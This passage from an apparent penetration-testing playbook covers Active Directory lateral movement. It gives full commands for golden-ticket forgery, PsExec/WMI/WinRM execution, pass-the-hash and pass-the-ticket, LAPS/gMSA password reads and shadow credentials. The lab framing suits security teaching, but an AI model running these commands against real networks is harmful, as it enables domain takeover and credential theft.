Verify: Verify issuance, matching private key, mapped account and a successful authentication effect; preserve and restore template changes.
If it fails: Denied enrollment, approval, mapping hardening or missing key material needs a different conditional route, not a renamed certificate tool.
10.12.18.2.42 Find: Conditional: understand a realm-wide TGT forgery from KRBTGT material
Begin only after protected private evidence establishes the actual domain KRBTGT key and SID; inspect account/source metadata rather than assuming any domain hash suffices.
klist
whoami /user
Recognize: KRBTGT key exposure is the enabling post-compromise condition; an ordinary NT hash or unrelated ticket cannot substitute.
Validate next: Verify current cryptographic material/version, realm/SID/principal, time and actual service validation; retain recovery/cleanup scope.
Conditional: understand a realm-wide TGT forgery from KRBTGT material.
10.12.18.2.43 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior
Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.
Authorized isolated-lab examples:
# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
-domain DOMAIN AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist
Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.
Verify: Verify cryptographic source, represented principal and exact service effect; protect the key and remove generated test credentials.
If it fails: Wrong key/version, realm, time or validation behavior can reject a forged ticket. Prefer legitimate current tickets for ordinary movement.
10.12.18.3 Check which other hosts your current identity can access Move to another host
10.12.18.3.1 Find: Match route, destination service and effective authorization
Use the discovered destination name/address and known credential record, then inspect the selected service ports from the actual direct or established pivot source.
nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST
Recognize: SMB/RPC are transport candidates while WinRM is not yet reachable; dynamic RPC and authorization are still untested.
Validate next: Probe the destination from the real source. Check DNS/service names and each required SMB/RPC/WinRM endpoint, then test effective service authorization. An open port and an accepted password do not establish a working remote execution method.
Match route, destination service and effective authorization.
10.12.18.3.2 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. Real source-to-service route, correct identity context and protocol-specific execution/logon rights
| Material | Compatible starting paths | Important boundary |
|---|---|---|
| Password | SMB/SCM, WMI/DCOM, WinRM/WinRS, RDP | Correct password does not grant the required logon or execution right |
| NT hash | NTLM-capable SMB/WMI/WinRM; RDP only through Restricted Admin where supported | Net-NTLM and DCC2 are not reusable NT hashes |
| TGT/ccache | Kerberos-capable tool using target FQDN/SPN | Ticket identity, realm, lifetime, DNS and KDC route must match |
| TGS | Only the named SERVICE/HOST and compatible client | A CIFS ticket does not authorize WinRM, WMI or RDP |
| AES/NT long-term key | Request a TGT, then use Kerberos | RC4/NT-key requests can fail where RC4 is disabled |
| Local-account password/hash | NTLM or RDP in the target's local account context | Remote UAC/account restrictions commonly filter non-RID-500 local administrators |
| Reachable service | Common execution/access mechanisms | Usual authorization |
|---|---|---|
| SMB 445 + SCM/RPC | PsExec, SMBExec, service creation | Administrative share plus SCM/service rights |
| RPC endpoint mapper 135 + dynamic RPC; often SMB for output | WMIExec, native CIM/WMI, DCOM | Remote WMI/DCOM rights, commonly an effective administrator token |
| Task Scheduler RPC plus SMB output | ATExec | Remote task creation and administrative output access |
| WinRM 5985/5986 | WinRS, PowerShell remoting, Evil-WinRM | Enabled endpoint and endpoint/session authorization |
| RDP 3389 | FreeRDP, MSTSC | Remote-interactive logon right; Restricted Admin requires administrator access |
Directly routed source:
nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u
Windows source:
Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status
Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.
Record:
SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT
NetExec can classify a selected SMB credential:
10.12.18.3.3 Domain password
# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
10.12.18.3.4 Domain NT hash
# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH
10.12.18.3.5 Target-local account
# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth
10.12.18.3.6 Prove only share access
# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
A successful login proves SMB authentication.
(Pwn3d!)is NetExec's SMB administrative-context indicator, not proof that WinRM, RDP, WMI or every SMB execution method will succeed.
For one justified execution proof:
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec
Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.
DOMAIN\USER -> domain identity; evaluate target-local group/right
TARGET\USER -> SAM identity on that target
./USER -> tool-specific local-account selection
Common failure pattern:
- a local account authenticates over SMB;
- Windows issues a filtered remote token;
ADMIN$, SCM or WMI administrative operations fail.
Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.
Remote process creation, stdout retrieval and an interactive shell are separate states:
AUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION
- PsExec returns named-pipe I/O through its service.
- WMIExec normally redirects output to an SMB share.
- SMBExec redirects command output while repeatedly creating services.
- ATExec writes output under
ADMIN$\Temp. - Native WMI/DCOM may return only a PID/return value; verify a harmless file or another bounded effect.
- WMI/DCOM/service processes commonly run in session 0, so a GUI is not visible to the logged-on user.
- WinRM creates a remote shell/runspace and returns structured or text output.
A WinRM/PowerShell session on HOST_A may not possess delegable credentials for HOST_B. That “double hop” is a credential-context problem, not proof that HOST_B or the password is wrong. Prefer executing from the source that actually holds the credential/ticket rather than enabling broad delegation.
hostname
whoami /all
ipconfig /all
route print
netstat -ano
klist
Re-enumerate:
- local privilege and accessible credential sources;
- domain groups, ACLs, shares and host rights under the new identity;
- logged-on sessions and service accounts;
- interfaces, routes, DNS, listeners and internal reachability;
- the next evidence-backed host/identity transition.
Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.
Verify: Record exact source, credential type, destination name/service and successfully permitted operation.
If it fails: Do not infer every service works from an administrative SMB indicator. Separate authentication, route, execution and output-channel failures.
10.12.18.3.7 Find: Execute through uploaded service creation using PsExec
From an accepted SMB identity inspect the required administrative share and the separate ability to create/start services on that host.
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Recognize: Administrative-share control is one PsExec prerequisite, not proof of every service/pipe operation.
Validate next: Validate actual SCM rights, binary compatibility, service start and named-pipe path; check the final execution identity.
Execute through uploaded service creation using PsExec.
10.12.18.3.8 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
10.12.18.3.9 Authenticate with a known password in the correct account scope Password
# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'
10.12.18.3.10 Authenticate with the account's NT hash where supported NT hash / Pass-the-Hash
# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
Need: SMB 445/139, writable administrative share and Service Control Manager rights. Impacket uploads a RemCom service binary, creates/starts a service and communicates over named pipes. Verify the returned identity; the service context is commonly SYSTEM.
Kerberos cache:
export KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
The target parameter uses the hostname matching the CIFS/HOST SPN; -target-ip separates connection routing from Kerberos naming.
PsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe
The official PsExec binary is not built into Windows. It requires remote administrative access and creates the PSEXESVC service/artifacts. Avoid putting real passwords in retained shell history; an existing authorized network credential context is preferable.
Verify: Verify destination and represented execution identity, not only service creation or tool success.
If it fails: Share write, SCM access, service start, endpoint controls and pipe communication can fail independently.
10.12.18.3.11 Find: Execute commands through service command lines and SMB output
Inspect known administrative SMB/SCM context and the output-share path when a service-command mechanism is preferable to binary upload.
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Recognize: A share and possible service rights suggest the command-line service route, whose output still has its own access path.
Validate next: Confirm service create/start, exact output mode/share and command effect independently from retrieved stdout.
Execute commands through service command lines and SMB output.
10.12.18.3.12 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. Accepted authentication, service create/start rights and the selected output-share/server path
impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
SMBExec creates temporary services whose command lines redirect output through a share. It does not use the same uploaded RemCom binary as PsExec, but it still requires SCM/service rights and produces substantial service/event artifacts.
10.12.18.3.13 Kerberos and alternate output modes
10.12.18.3.14 export KRB5CCNAME="$PWD/USER.ccache"
export KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
10.12.18.3.15 SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'
Verify: Verify command effect separately from successful output retrieval and remove created artifacts as appropriate.
If it fails: Missing output can coexist with successful execution. Check service event/effect and share permissions before changing payloads.
10.12.18.3.16 Find: Execute through remote Task Scheduler
Use destination RPC/SMB evidence and effective administrative/task rights to investigate Task Scheduler as a one-shot execution consumer.
Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
Recognize: The required network services are candidates; a task cannot be assumed creatable from port results.
Validate next: Check negotiated RPC reachability, task-create permission, actual principal and administrative output channel.
Execute through remote Task Scheduler.
10.12.18.3.17 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access
impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"
ATExec creates and deletes a scheduled task and normally retrieves output from
ADMIN$\Temp. It is a one-shot command mechanism, not an interactive shell; task-scheduler RPC and administrative share access must both work.
Kerberos:
export KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"
Verify: Verify the actual task effect/principal and destination, not task registration alone.
If it fails: Dynamic RPC filtering, task authorization or denied output share can break different phases.
10.12.18.3.18 Find: Execute through WMI or native CIM over DCOM
Investigate WMI from RPC/service inventory and exact account rights; keep process creation and SMB-based output retrieval as separate legs.
Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
Recognize: Port 135 and an output route justify further checks but do not prove a WMI process can be created.
Validate next: Validate dynamic ports, DCOM/WMI authorization, native CIM transport choice and actual effect.
Execute through WMI or native CIM over DCOM.
10.12.18.3.19 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB
impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
WMIExec creates processes through WMI/DCOM. Its normal output channel uses SMB and defaults to
ADMIN$; therefore a WMI process may run even when output retrieval fails.-nooutputor-silentcommandchanges that evidence channel.
Kerberos with separate name and route:
export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
10.12.18.3.20 One command, no SMB output
impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"
Verify the harmless artifact through an independently authorized channel. No returned stdout is expected.
$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}
Remove-CimSession $Session
ReturnValue = 0and a process ID confirm process creation, not its final effect. WMI-created processes run in session 0; GUI programs will not appear on an interactive desktop.
Verify: Verify destination process/effect and execution identity separately from captured stdout.
If it fails: Port 135 alone is insufficient. Distinguish RPC route, namespace permission, output share and local token filtering.
10.12.18.3.21 Find: Execute through an authorized DCOM application object
Use the target's RPC and administration evidence to investigate a specific supported COM application, rather than treating DCOM as a universal shell.
Test-NetConnection TARGET -Port 135
Recognize: A named application and route form a candidate; component availability and allowed activation/method remain separate.
Validate next: Check dynamic RPC, actual class/rights, authentication/tool support, method and verifiable output/effect.
Execute through an authorized DCOM application object.
10.12.18.3.22 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component
Current Windows token:
$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
'cmd.exe',
$null,
'/c hostname > C:\Windows\Temp\movement-proof.txt',
'7'
)
Impacket with password or NT hash:
impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
Current Impacket
dcomexecexplicitly rejects Kerberos for its supported MMC/Shell DCOM objects because they do not accept the required HOST ticket. Usewmiexec -kwhen Kerberos command execution is required. DCOM class availability, RPC reachability and launch/access permissions vary.
Verify: Verify the actual destination effect and identity; COM object creation alone does not prove command execution.
If it fails: Component absence, activation rights, modern DCOM hardening or unsupported client Kerberos can block this route.
10.12.18.3.23 Find: Use WinRM, WinRS or PowerShell remoting
Check observed WinRM listeners from the real source and relate the identity to the configured endpoint/session authorization.
Test-NetConnection TARGET -Port 5985
Test-NetConnection TARGET -Port 5986
Recognize: A reachable endpoint plus a known credential is a candidate, not proof the account may enter that remoting session.
Validate next: Verify accepted authentication, correct name/TLS context, endpoint rights and any second-hop requirements.
Use WinRM, WinRS or PowerShell remoting.
10.12.18.3.24 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
10.12.18.3.24.1 Open a remote command session through verified WinRM rights Evil-WinRM
10.12.18.3.24.1.1 Authenticate with a known password using a supported prompt Password; omit -p to prompt where supported
# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'
10.12.18.3.24.1.2 Use or recover a password from an identified NT hash NT hash
# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH
10.12.18.3.24.1.3 Connect to the verified remote-management HTTPS listener HTTPS listener
# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986
Current Evil-WinRM ticket-file support:
evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP
Need: reachable 5985/5986, an enabled WinRM/PowerShell endpoint and endpoint authorization. The identity is commonly an administrator or a member of the applicable remote-management group, but endpoint SDDL/policy is decisive. Kerberos requires the FQDN/SPN, realm/KDC configuration and a compatible ticket.
10.12.18.3.24.2 Open a remote command session through verified WinRM rights Native WinRS
winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"
To avoid retaining a password on the command line, use the current authorized Windows credential context where possible:
winrs /r:TARGET_HOST "cmd /c hostname & whoami"
WinRS uses WinRM. A non-administrator can require
/noprofiledepending on endpoint configuration./allowdelegateaffects onward credential use and is not a default fix for the double-hop problem.
10.12.18.3.24.3 Open a remote command session through verified WinRM rights PowerShell remoting
Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'
Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
hostname
whoami /all
}
$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session
A hostname normally supports Negotiate/Kerberos in a domain. An IP address requires explicit credentials and generally HTTPS or a tightly scoped TrustedHosts configuration. Do not weaken global TrustedHosts merely to hide DNS/SPN mistakes.
Verify: Verify hostname, whoami /all and the actual session configuration/rights.
If it fails: Authentication denial, endpoint denial, TLS/name mismatch and second-hop failure require different fixes.
10.12.18.3.25 Find: Obtain an authorized RDP interactive session
Check the destination RDP endpoint and use actual group/logon-policy evidence for the candidate identity; determine whether password or Restricted Admin is intended.
Test-NetConnection TARGET -Port 3389
Recognize: RDP transport does not grant desktop access; Restricted Admin/hash use has additional requirements.
Validate next: Check NLA/TLS, identity qualification, logon authorization and the chosen authentication mode.
Obtain an authorized RDP interactive session.
10.12.18.3.26 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements
Check the installed binary name:
command -v xfreerdp3 || command -v xfreerdp
Password:
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard
Older packages may expose the same syntax through xfreerdp.
NT hash:
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution
FreeRDP's
/pthuses Restricted Admin mode. The target must support/permit that mode and the identity must be an administrator; ordinary Remote Desktop Users membership is not sufficient for Restricted Admin. Password-based RDP instead needs the Remote Desktop service, NLA compatibility and the effective “Allow log on through Remote Desktop Services” right without a deny override.
Native client:
mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST
Ordinary RDP can place reusable user credentials in the destination's LSASS. Restricted Admin avoids sending those reusable credentials but prevents ordinary onward access as that user; treat the resulting session's network identity separately.
Purpose: use a validated identity with Remote Desktop logon rights to establish a Windows desktop and verify the resulting source position.
10.12.18.3.26.1 Baseline: prompt for the password
xfreerdp3 /v:TARGET /u:USER /dynamic-resolution /cert:ignore
Some Kali releases expose xfreerdp instead of xfreerdp3; check command -v xfreerdp3 xfreerdp and the selected binary's /help output.
Decisive output: a usable desktop establishes a remote session. Open PowerShell or Command Prompt and verify
whoami,hostnameandipconfigbefore treating commands as target-origin execution.
10.12.18.3.26.1.1 Variant — domain identity
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /dynamic-resolution /cert:ignore
Local and domain accounts with the same username are different identities. Make the intended context explicit when results differ.
10.12.18.3.26.1.2 Variant — authentication only
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore
This tests authentication without opening the UI. Success does not guarantee that all session policies or desktop initialization will permit a full session.
10.12.18.3.26.1.3 Variant — explicit password
xfreerdp3 /v:TARGET /u:USER '/p:PASSWORD' /dynamic-resolution /cert:ignore
Prefer prompting because command-line passwords can enter shell history and process listings.
Failure cues: a certificate warning is not a credential result. NLA/security negotiation, account context, authentication, Remote Desktop logon rights and an already occupied/restricted session can fail separately.
/cert:ignoreis appropriate only for the controlled lab context because it removes certificate identity validation.
Next: after verifying the host and identity, enumerate groups/privileges, files, local services/listeners and routes from the new source position.
Verify: Verify destination, user/token and permitted desktop actions; keep credentials out of reusable screenshots/notes.
If it fails: A valid password can still lack logon rights. NLA, TLS, domain qualification and Restricted Admin policy are separate conditions.
10.12.18.3.27 Find: Select password, NT hash, key-to-ticket or ticket authentication
Return to the credential source and inspect format, identity and ticket service scope before selecting a remote protocol.
klist
getent hosts TARGET_HOST
date -u
Recognize: The cache permits investigating a matching CIFS action, not arbitrary WinRM or a new TGS without a TGT/KDC route.
Validate next: Match NTLM versus Kerberos support, account/domain, key/encryption policy, name/time and destination rights.
Select password, NT hash, key-to-ticket or ticket authentication.
10.12.18.3.28 Commands and use-case variants
Need: Identified authentication material, destination service reachability and a candidate authorized identity. Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
10.12.18.3.28.1 Authenticate with an NT hash where the service supports it Pass-the-Hash
NT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE
PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.
10.12.18.3.28.2 Obtain a Kerberos ticket using an available account key Overpass-the-Hash / key-to-ticket
Mimikatz network-credential context:
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe
Rubeus TGT request:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist
AES alternative:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt
Trigger a Kerberos service request with the hostname, then inspect:
dir \\TARGET_HOST\C$
klist
In a Mimikatz
sekurlsa::pthprocess,whoamican still show the original local process token while network authentication uses the supplied identity. Validate the ticket's client and the remote result rather than treating localwhoamias the network identity.
10.12.18.3.28.3 Authenticate with an available ticket in the correct logon context Pass-the-Ticket
Windows:
Rubeus.exe ptt /ticket:ticket.kirbi
klist
kerberos::ptt ticket.kirbi
Linux:
export KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.
Verify: Verify exact material type, represented network identity and successful destination action.
If it fails: Wrong ticket service, RC4 policy, time skew, IP-only SPN naming or local/domain mismatch can invalidate one variant while another remains viable.
10.12.18.4 Additional conditional surfaces
Open a branch only when its observation and prerequisites match. Discovery-only entries retain their missing-action boundary.
10.12.18.4.1 Read a classic LAPS password for one computer
- Enter: a specific computer object is relevant and the current directory principal may read
ms-Mcs-AdmPwd. - Discover: identify the computer object and test the attribute read; merely enumerating the object is not enough.
- Validate: the returned value is present, current and scoped to that computer's managed local account; identify the intended local username and destination service separately.
- Execute: Delegated LAPS/gMSA reads.
- Verify: validate the password on one compatible service using explicit local-account context, then prove the specific permitted operation. Password acceptance does not prove local administration or remote execution.
- Outcomes: readable current value → credential classification/remote operation preflight; attribute denied/absent for this principal/object → ruled out here; schema, replication freshness or object identity unresolved → inconclusive.
10.12.18.4.2 Documented commands and conditions
Use when directory permissions grant access to the secret-bearing attribute. Being able to enumerate the computer or service account does not grant that read.
10.12.18.4.3 Classic LAPS: password for the relevant computer's local administrator
# Classic LAPS: password for the relevant computer's local administrator
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'COMPUTER$' --attr ms-Mcs-AdmPwd
10.12.18.4.4 Windows LAPS: returned content/format depends on schema and protection
# Windows LAPS: returned content/format depends on schema and protection
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'COMPUTER$' --attr msLAPS-Password
10.12.18.4.5 gMSA: inspect the allowed managed-password attribute
# gMSA: inspect the allowed managed-password attribute
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'GMSA$' --attr msDS-ManagedPassword
Read: a LAPS value is scoped to the named host's local account. An encrypted Windows-LAPS value still needs the permitted decryption context. A gMSA blob/base64 string is not automatically a directly reusable NT hash: parse/decode it with a compatible gMSA tool before choosing authentication. Missing/denied attributes → distinguish schema, permissions and an empty value.
Sources: upstream 1 · upstream 2.
10.12.18.4.6 Read or decrypt a Windows LAPS password
- Enter: a relevant computer uses Windows LAPS and the principal may read
msLAPS-Passwordor decrypt the protected value. - Discover: query the exact computer attribute and record whether the result is plaintext JSON, encrypted content, empty or denied.
- Validate: plaintext/decryption rights, password age, managed account name and host scope. An encrypted blob without the permitted decryption context is not a password.
- Execute: Delegated LAPS/gMSA reads.
- Verify: validate only against the named host and intended local account, then establish the actual service capability.
- Outcomes: usable current password → credential classification/remote operation preflight; no read/decrypt right → ruled out here; returned protected data but decryption context unknown → inconclusive.
10.12.18.4.7 Recover and classify gMSA material
- Enter: a specific gMSA is used by a relevant service and the current identity may read
msDS-ManagedPassword. - Discover: inspect the gMSA object and allowed managed-password readers; distinguish a raw blob from a decoded NT hash.
- Validate: exact account name including
$, managed-password read permission, working LDAPS/tool path, decoded representation and intended service/host. - Execute: Raw and decoded gMSA checks.
- Verify: test one service compatible with the decoded material and record the exact accepted identity and operation. Authentication is not administrative execution.
- Outcomes: decoded material accepted for the intended identity → credential classification/remote operation preflight; read denied or wrong object type → ruled out here; raw blob, TLS failure or empty output → inconclusive.
10.12.18.4.8 Documented commands and conditions
Use when the accepted directory identity has the managed-password read permission for the gMSA. NetExec selects LDAPS for this operation, so the DC's LDAP TLS path must work.
10.12.18.4.9 nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa
nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa
10.12.18.4.10 After identifying the returned service account and hash, test one relevant service
# After identifying the returned service account and hash, test one relevant service
nxc smb TARGET -d DOMAIN -u 'GMSA$' -H HASH --shares
Read: keep the exact service-account name and decoded NT hash together; an encoded msDS-ManagedPassword blob is a different representation. Authentication acceptance still does not prove administrative/remote-execution rights. Empty output → inspect object permissions, LDAPS, account type and collection errors before concluding that no gMSA path exists.
Sources: upstream 1.
10.12.18.4.11 Use a validated shadow-credential path
- Enter: the effective principal can write the target object's
msDS-KeyCredentialLink, and the assigned lab permits the object change. - Discover: list existing key credentials before mutation and preserve their identifiers.
- Validate: target identity, exact effective write right, DC PKINIT/key-trust support, DNS/time/KDC route, certificate tooling and a cleanup route.
- Execute: Shadow credentials — add, authenticate and remove only the added DeviceID.
- Verify: establish the cached target principal and one intended service action; then confirm that only the newly added key credential was removed.
- Outcomes: target TGT/service capability established → ticket and key context/remote operation preflight; effective write or PKINIT prerequisite disproved → ruled out here; write succeeds but certificate/KDC mapping is unresolved → failed-boundary diagnosis/inconclusive.
10.12.18.4.12 Documented commands and conditions
Use only with effective write access to the target's msDS-KeyCredentialLink, a DC supporting the required key-trust/PKINIT behavior, correct time/DNS and compatible certificates. Inspect existing values first.
10.12.18.4.13 python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action list
10.12.18.4.14 Adds a new key credential and generates certificate material; record its DeviceID
# Adds a new key credential and generates certificate material; record its DeviceID
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action add --filename target-key
10.12.18.4.15 Use the generated PFX password; request the target principal's TGT
# Use the generated PFX password; request the target principal's TGT
python3 gettgtpkinit.py -cert-pfx target-key.pfx -pfx-pass 'PFX_PASSWORD' \
-dc-ip DC_IP DOMAIN/TARGET_USER target.ccache
export KRB5CCNAME="$PWD/target.ccache"
klist
10.12.18.4.16 Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key
# Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key
python3 getnthash.py -key AS_REP_KEY -dc-ip DC_IP DOMAIN/TARGET_USER
10.12.18.4.17 Remove only the key credential you added; never clear unrelated original values
# Remove only the key credential you added; never clear unrelated original values
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action remove --device-id DEVICE_ID
Read: a successful attribute write does not yet establish a TGT or service authorization. Verify the cached principal and the intended service. PKINIT/certificate failure → inspect KDC support, mapping and trust; do not keep overwriting keys. Preserve the original state and remove only your added DeviceID after the test.
Sources: upstream 1 · upstream 2.
10.12.18.4.18 Authenticate to LDAP with a mapped certificate
- Enter: you possess a certificate and private key plausibly mapped to an AD identity, and LDAP over TLS is reachable.
- Discover: identify certificate subject/SAN/EKU, trust chain, private-key availability and the DC TLS path.
- Validate: the certificate maps to the intended principal, the private key matches, Schannel authentication is accepted and the mapped identity has the exact object right required by the intended LDAP operation.
- Execute: PassTheCert identity check and LDAP shell.
- Verify:
whoami/bind establishes only the mapped LDAP identity; separately verify the selected LDAP read or write and its object state. - Outcomes: mapped identity and permitted object operation confirmed → directory-right validation; mapping/trust/private key disproved → ruled out here; PKINIT fails while Schannel remains untested, or TLS errors mask mapping → inconclusive.
10.12.18.4.19 Documented commands and conditions
Use a certificate/private key mapped to an accepted AD identity with the necessary trust/EKU and a working LDAP TLS path. PKINIT and Schannel are different authentication paths: failure of one does not prove the other works or fails.
